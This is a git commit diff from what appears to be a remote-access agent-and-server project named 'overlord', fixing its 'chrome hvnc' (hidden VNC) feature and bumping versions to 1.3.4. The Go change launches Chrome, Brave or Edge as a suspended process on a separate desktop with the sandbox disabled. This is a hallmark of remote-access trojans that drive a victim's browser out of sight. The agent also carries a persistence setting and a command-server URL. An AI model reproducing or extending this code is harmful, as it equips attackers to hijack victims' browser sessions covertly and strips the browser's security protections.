fix chrome hvnc and new version.

This commit is contained in:
KingKDot
2026-03-12 12:23:58 -05:00
parent 05bf5318e8
commit 52ac86507b
5 changed files with 16 additions and 5 deletions
+3 -1
View File
@@ -478,4 +478,6 @@ FodyWeavers.xsd
*.msi *.msi
*.msix *.msix
*.msm *.msm
*.msp *.msp
*.exp
*.lib
@@ -433,7 +433,16 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath string) (
if err != nil { if err != nil {
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err) return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
} }
cmdLine, err := syscall.UTF16FromString(filePath + " --window-position=0,0") args := " --window-position=0,0"
browserExes := map[string]bool{
"chrome.exe": true,
"brave.exe": true,
"msedge.exe": true,
}
if browserExes[strings.ToLower(filepath.Base(filePath))] {
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu"
}
cmdLine, err := syscall.UTF16FromString(filePath + args)
if err != nil { if err != nil {
return 0, 0, 0, fmt.Errorf("failed to convert command line: %v", err) return 0, 0, 0, fmt.Errorf("failed to convert command line: %v", err)
} }
+1 -1
View File
@@ -17,7 +17,7 @@ import (
"time" "time"
) )
var AgentVersion = "1.3.3" var AgentVersion = "1.3.4"
var DefaultPersistence = "false" var DefaultPersistence = "false"
var DefaultServerURL = "wss://127.0.0.1:5173" var DefaultServerURL = "wss://127.0.0.1:5173"
+1 -1
View File
@@ -1,6 +1,6 @@
{ {
"name": "overlord-server", "name": "overlord-server",
"version": "1.3.3", "version": "1.3.4",
"private": true, "private": true,
"type": "module", "type": "module",
"scripts": { "scripts": {
+1 -1
View File
@@ -1 +1 @@
export const SERVER_VERSION = "1.3.3"; export const SERVER_VERSION = "1.3.4";